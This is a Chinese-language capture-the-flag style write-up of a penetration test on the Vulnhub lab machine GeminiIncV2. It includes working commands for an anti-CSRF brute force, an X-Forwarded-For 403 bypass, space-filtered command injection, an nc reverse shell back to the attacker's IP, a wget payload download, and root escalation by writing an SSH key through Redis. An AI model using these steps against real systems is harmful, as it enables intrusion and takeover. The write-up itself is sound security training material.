GeminiIncV2靶机渗透测试
前言
此靶机综合性极强,渗透过程一波三折,非常贴合实战场景,做完之后我有了很大收获
一、靶机安装
靶机为Vulnhub上的GeminiIncV2 下载文件后直接导入VM即可
攻击机为kali,ip为192.168.14.131
两个靶机均使用VM下的net模式连接
二、端口扫描
nmap扫描整个网段,确认主机ip,为192.168.14.136
nmap -sS 192.168.14.0/24
//-sS:TCP SYN扫描,主机向目标端口发送SYN报文,如果目标端口返回了[ACK,SYN],主机发送RST直接断开,这种扫描方式速度较快,被广泛使用
nmap进一步扫描IP信息,80端口为Apache搭建的http服务和22端口ssh服务
nmap -sS -sV -sC 192.168.14.136
//-sC 等价于–script=default,使用默认类别的脚本进行扫描
//-SV 检测目标运行的服务版本
三、信息收集
访问80端口,为一个web页面
功能十分简单,有一个登陆页面,简单测试下未果
还有User List页面,不过显示没有权限访问,判断需要登陆后才能查看主页面暂时没有什么有用的信息,我们直接进行目录扫描,这里的话使用的是kali自带的dirb工具默认字典进行一个目录扫描
dirb http://192.168.14.136 -r // -r为不递归
简单查看了下,都是些简单的文件
查看lib目录,发现了一些php文件,可以判断本网站使用的是mysql+php结构,不过仅靠这些信息,并没有什么突破点
四、隐藏路径爬取
我们添加-X参数再次进行目录扫描,指定扩展名为.php,去获取一些隐藏的php文件
dirb http://192.168.14.136 -r -X .php
-X 列举具有特定扩展名列表的目录
在很多情况下,我们需要在目标服务器上提取特定扩展名的目录,然后可以使用dirb扫描的-X参数。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。
测试后,发现两个可以利用的文件 activate.php
和 registration.php
,可进行用户的注册
registration.php为用户登记界面
activate.php为用户激活页面,需要输入用户id和激活码
五、用户注册
我们先注册一个用户,发现可以注册admin用户,提交登记信息后,尝试登录,登陆后提示我们需要进行激活,且激活码为6位数字
那我们去激活页面(activate.php)尝试激活用户,根据上图url中的信息,我们得到id为14,激活码需要去进行爆破,那我们使用burp进行一个攻击,先进行抓包
六、验证码爆破
发现数据包中含有token,刷新后token改变,判断使用了AntiCSRFToken,每次响应含有下次请求所需要的token,那我们这里可以使用burp的Intryder模块Pitchfork功能去进行爆破
设置两个变量分别为激活码和token
这里需要去获取当前页面响应中的token作为下一个请求中的token
我们先设置第一个参数激活码的字典,payload类型为Numvers,范围从000000到999999,步长为1,为确保从000000开始,设置最小位数为6
第二个参数
进入Options选项Grep-Extract模块,添加一条正则,获取响应包选中token
设置Payloads选项设置第二个参数tokeen的字典,选择Recur grep,这样每次获取响应包后,就会提取其中的token,作为下一个请求包的token
需要注意的是,每个token只能使用一次,所有我们要改变Inturder的线程为单线程,进入Resource Pool选项更改线程为1
同时进入Options选项将错误重试次数更改为0,防止我们的token出错
配置完成之后,我们就可以进行爆破了(注意上述步骤一个都不能出错,否则将爆破不出来激活码),可以看到我们每次请求的token都是不一样的,证明可以成功进行爆破
在经过漫长的等待后,终于是爆破出了结果,成功激活账户(这个网站会加载google的资源,故爆破的很慢,挂一个上层代理速度会快很多)
七、密码破解
我们重新登录用户,没有提示激活的信息,可以使用正常功能了,但我们为普通用户权限,干不了什么事,继续信息收集
在User List发现一个橙色用户-Gemini
点击去发现其为管理员账号
那我们的思路就是获取到管理员的密码,查看源代码,发现其密码泄露
不过密码进行了sha1加密,我们找了一个在线解密平台进行解密,成功获取到了密码secretpassword
那我们使用管理员账号重新登陆网站,成功登录
八、403Bypass
发现Admin Panel按钮下有一个Execute Command功能,判断存在命令执行,点击发现它请求了一个new-groups.php文件,页面未进行正常跳转
这里我们进行一个抓包,抓一下它的回显可以看到,它对ip的来源进行了限制
我们这里进行403的一个绕过,在请求包中添加了一个X-Forwarded-for头为127.0.0.1,表明我们的IP为环回地址,可以看到,页面返回正常
进入后的页面如下图
九、命令注入
很明显,这是一个命令执行界面,我们简单执行一下命令,执行成功但没有回显
接着测试,发现他过滤了空格等字符
那我们尝试使用一些其他字符去代替空格,这里使用%09去替换空格,发现可成功执行命令
Linux下常见空格替代符
%09(需要php环境)
${IFS}
重定向符<>,<
十、反弹shell
那么我们接下来使用nc进行一个反弹shell,反弹至kali机的3333端口
nc%09192.168.14.131%093333%09-e%09/bin/bash
本机监听
nv -lvnp 3333
不能建立连接,说明其没有nc,那我们先进行nc的上传
本地使用python起一个HTTP服务,用于传输nc
python3 -m http.server 80
在网站上执行命令去下载我们kali上的nc,保存至临时目录下
wget%09http://192.168.14.131/nc%09-O%09/tmp/nc
执行成功后,我们赋予它可执行权限
chmod%09%2Bx%09/tmp/nc
然后进行反弹shell
/tmp/nc%09192.168.14.131%093333%09-e%09/bin/bash
本机监听
nc -lvvp 3333
成功获得普通用户权限
可以通过下面命令对终端进行一个升级
python -c "import pty;pty.spawn('/bin/bash')"
查看当前目录文件,发现了一个blacklist.txt,判断此为对前端命令执行的过滤
十一、权限提权
既然得到shell,那我们下一步就是提权,查看当前服务器版本信息,发现其版本过高,暂无可利用的提权漏洞
查看其开放的服务,发现其开放6379端口,一般为redis服务我们查看下进程,果然redis服务开启,且权限为root,那我们可以尝试进行redis提权
我们进入/etc/redis目录下,查看其配置文件中是否含有密码,果不其然,我们找到了其密码
那我们尝试登录redis数据库,登陆成功,但交互有很大问题
十二、SSH公钥认证
我们这里尝试导入我们的公钥到靶机中,进行ssh登录
首先kali机生成ssh密钥对
ssh-keygen -t rsa
进入ssh目录下,可以看到密钥对成功生成
那我们下一步就需要把公钥id_rsa.pub上传至靶机中
我们使用nc进行一个传输,首先在靶机中,进入当前用户的主目录,发现没有.ssh目录,那我们先创建一个.ssh目录去存储公钥,然后监听自身的4444端口,将接受的内容保存为authorized_keys
/tmp/nc -lvvp 4444 > authorized_keys
然后在kali上执行命令,去连接靶机的4444端口并传输公钥,传输成功后断开
nc 192.168.14.136 4444 < id_rsa.pub -w 1
可以看到,靶机成功接收公钥
那我们就可以直接使用ssh去连接靶机了,成功连接
ssh gemini1@192.168.14.136
十三、Redis提权
我们使用刚刚得到的redis配置文件中的密码去连接redis,成功连接且可以正常执行命令
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
接下来我们尝试使用redis(root权限)将ssh公钥写入root账号的.ssh路径下,去进行提权
我们先将原来传上来的公钥进行格式转换,保证redis能够成功读取并可以进行保存
(echo -e "\n\n";cat authorized_keys ;echo -e "\n\n") > pub.txt
接下来我们将公钥写入redis数据库中
cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key
然后将公钥从redis数据库中写入到root用户的.ssh目录下
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
CONFIG set dir /root/.ssh
config set dbfilename "authorized_keys"
sava
接下来我们使用ssh连接靶机的root账号,成功连接,拿下
最后成功获得flag
十四、总结
本次打靶过程可谓一波三折,每个攻击的环节都有障碍需要绕过,首先我们需要需要进行目录扫描,如果没有扫出关键文件,后面的过程都是空谈,所以说渗透测试的核心就是信息收集。接下来我们要进行激活码爆破,但是却发现有AntiCSRFToken阻碍,那这时候就需要使用burp一些高级的技巧了。接下来通过信息收集发现管理员帐号密码的密文,然后破解出管理员密码。正常来说有了管理员密码,可以说是十拿九稳了,但是,你却发现你连后台页面都看不到,这里就需要bypass403了,绕过403之后,还有黑名单对命令执行的参数进行拦截。无奈再次想办法绕过,这才终于突破了边界,拿到低权限帐号。本以为剩下的提权轻轻松松,哪儿想还需要进行ssh公钥认证登录,好在接下来的提权过程还算轻松,利用Redis权限配置漏洞,最终拿到Root权限和Flag。